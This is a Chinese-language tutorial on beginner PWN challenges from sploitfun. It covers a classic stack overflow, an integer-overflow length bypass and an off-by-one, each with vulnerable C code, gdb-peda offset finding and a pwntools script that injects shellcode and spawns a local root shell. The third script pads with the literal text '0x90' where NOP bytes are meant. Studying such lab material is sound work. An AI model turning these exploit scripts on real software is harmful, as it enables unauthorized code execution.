PWN类型题目的入门学习总结,练习网站sploitfun

测试环境KALI 2019.2 64位版本

  • 经典缓冲区溢出
  • 整数溢出
  • 单字节溢出(Off-By-One)

主要针对32位程序和栈上溢出,关闭NX、PIE和StackCanary。

  1. 经典缓冲区溢出

漏洞代码vuln.c

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
char buf[10];
strcpy(buf,argv[1]);
printf("Input:%s\n",buf);
return 0;
}

编译

1
gcc -m32 -fno-stack-protector -z execstack -o vuln vuln.c

由于输入不受限制,存在缓冲区溢出漏洞

1
2
3
4
5
6
7
8
9
10
gdb-peda$ r `python -c "print 'A'*300"`
...
...
...
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x4141413d
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x56556204 in main ()

结果可以看到esp寄存器无效,并没有覆盖到我们想象中的eip

查看main汇编代码(disassemble main):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
   0x565561d8 <+47>:	call   0x56556040 <strcpy@plt>
0x565561dd <+52>: add esp,0x10
0x565561e0 <+55>: sub esp,0x8
0x565561e3 <+58>: lea eax,[ebp-0x12]
0x565561e6 <+61>: push eax
0x565561e7 <+62>: lea eax,[ebx-0x1ff8]
0x565561ed <+68>: push eax
0x565561ee <+69>: call 0x56556030 <printf@plt>
0x565561f3 <+74>: add esp,0x10
0x565561f6 <+77>: mov eax,0x0
0x565561fb <+82>: lea esp,[ebp-0x8]
0x565561fe <+85>: pop ecx
0x565561ff <+86>: pop ebx
0x56556200 <+87>: pop ebp
0x56556201 <+88>: lea esp,[ecx-0x4]
=> 0x56556204 <+91>: ret
End of assembler dump.

可以看到esp的值是由被我们覆盖之前push ecx值决定,所以我们需要确定栈中pop ecx的位置,并覆盖为正确的栈地址

试用pattern_create 300生成测试字符串,触发异常后

1
2
3
4
5
6
7
8
[------------------------------------stack-------------------------------------]
Invalid $SP address: 0x4124413d
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x56556204 in main ()
gdb-peda$ pattern_offset 0x41244141
1092895041 found at offset: 10

得到ecx值为 0x41244141,即可利用pattern_offset来确定ecx位置为10。

将ecx的值设置为偏移18之后的某个栈地址,其-4地址即为eip。

栈地址 栈内容
0xffff1230 0x00004141
0xffff1234 0x41414141
0xffff1238 0x41414141
0xffff123c 0xffff1244(ecx)
0xffff1240 0xffff1244(eip)
0xffff1244 shellcode
0xffff1248 shellcode

栈地址可根据gdb动态调试得到buf的初始地址

利用代码

1
2
3
4
5
6
7
8
9
from pwn import *

payload = "A"*10
payload += p32(0xffffd348) #ecx
payload += p32(0xffffd348) #eip
payload += asm(shellcraft.i386.linux.sh()) #shellcode

io = process(["./vuln", payload])
io.interactive()

执行结果

1
2
3
4
5
6
root@pwn:~/Desktop/code# python vuln.py
[+] Starting local process '../pwn/vuln': pid 3630
[*] Switching to interactive mode
Input:AAAAAAAAAAH��\xffH��\xffjhh///sh/bin\x89�h\x814$ri1�Qj\x04Y�Q��1�j\x0bX̀
$ id
uid=0(root) gid=0(root) groups=0(root)
  1. 整数溢出

漏洞代码vuln-2.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if(passwd_len >= 4 && passwd_len <= 8) {
printf("Valid Password\n");
fflush(stdout);
strcpy(passwd_buf,passwd);
} else {
printf("Invalid Password\n");
fflush(stdout);
}
store_passwd_indb(passwd_buf);
}

int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error: \n");
fflush(stdout);
exit(-1);
}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}

编译

1
gcc -m32 -fno-stack-protector -z execstack -o vuln-2 vuln-2.c

在对输入的长度进行判断的时候,变量passwd_len为八位,取值范围最小0x00,最大的取值为0xFF。如果我们输入的长度超过0xFF,结果为16位,如0xFF05,这时passwd_len的值为05,即可绕过长度的限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ r "123" `python -c 'print "A"*262'`
...
...
...
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd210 ('A' <repeats 200 times>...)
0004| 0xffffd214 ('A' <repeats 200 times>...)
0008| 0xffffd218 ('A' <repeats 200 times>...)
0012| 0xffffd21c ('A' <repeats 200 times>...)
0016| 0xffffd220 ('A' <repeats 200 times>...)
0020| 0xffffd224 ('A' <repeats 200 times>...)
0024| 0xffffd228 ('A' <repeats 200 times>...)
0028| 0xffffd22c ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()

输入已经绕过长度限制,覆盖了EIP。

试用pattern_create 262生成测试字符串,触发异常后。

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ r "123" 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2'
...
...
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x44414128 in ?? ()
gdb-peda$ pattern_offset 0x44414128
1145127208 found at offset: 24
gdb-peda$

得到EIP值为 0x44414128,即可利用pattern_offset来确定EIP位置为24。

利用代码

1
2
3
4
5
6
7
8
9
from pwn import *

payload = "A"*24
payload += p32(0xffffd250) #eip
payload += asm(shellcraft.i386.linux.sh()) #shellcode
payload += "A"*(262-len(payload))

io = process(["./vuln-2", "123", payload])
io.interactive()

结果

1
2
3
4
5
6
7
root@pwn:~/Desktop/code# python vuln-2.py 
[+] Starting local process '../pwn/vuln-2': pid 4139
[*] Switching to interactive mode
Valid Password
$ id
uid=0(root) gid=0(root) groups=0(root)
$
  1. 单字节溢出(off-by-one)

漏洞代码vuln-3.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <string.h>

void foo(char* arg);
void bar(char* arg);

void foo(char* arg) {
bar(arg);
}

void bar(char* arg) {
char buf[256];
strcpy(buf, arg);
}

int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) {
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
foo(argv[1]);
return 0;
}

编译

1
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln-3 vuln-3.c

Off-By-One本来是利用溢出的一个字节覆盖EBP部分,控制ESP,从而控制EIP。

但由于使用高版本的gcc,导致以上代码多PUSH EBX,溢出的一个字节无法覆盖到EBP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ disassemble bar
Dump of assembler code for function bar:
0x000011e4 <+0>: push ebp
0x000011e5 <+1>: mov ebp,esp
0x000011e7 <+3>: push ebx
0x000011e8 <+4>: sub esp,0x100
0x000011ee <+10>: call 0x127b <__x86.get_pc_thunk.ax>
0x000011f3 <+15>: add eax,0x2e0d
0x000011f8 <+20>: push DWORD PTR [ebp+0x8]
0x000011fb <+23>: lea edx,[ebp-0x104]
0x00001201 <+29>: push edx
0x00001202 <+30>: mov ebx,eax
0x00001204 <+32>: call 0x1040 <strcpy@plt>
0x00001209 <+37>: add esp,0x8
0x0000120c <+40>: nop
0x0000120d <+41>: mov ebx,DWORD PTR [ebp-0x4]
0x00001210 <+44>: leave
0x00001211 <+45>: ret
End of assembler dump.

所以我们将strlen(argv[1])>256修改为strlen(argv[1])>260,让溢出的0x00去覆盖到EBP。

试用pattern_create 269生成测试字符串,触发异常。

1
2
3
4
5
6
7
8
9
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA'
...
...
...
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x73254125 in ?? ()
gdb-peda$ pattern_offset 0x73254125
1931821349 found at offset: 204

得到EIP值为0x73254125,即可利用pattern_offset来确定EIP位置为204。

利用代码

1
2
3
4
5
6
7
8
9
from pwn import *

shellcode = asm(shellcraft.i386.linux.sh()) #shellcode
payload = "A"*204
payload += p32(0xffffd210) #eip
payload += "0x90"*(52-len(shellcode)) + shellcode #nop+shellcode

io = process(["./vuln-3", payload])
io.interactive()

结果

1
2
3
4
5
6
root@pwn:~/Desktop/code# python vuln-3.py 
260
[+] Starting local process '../pwn/vuln-3': pid 4289
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)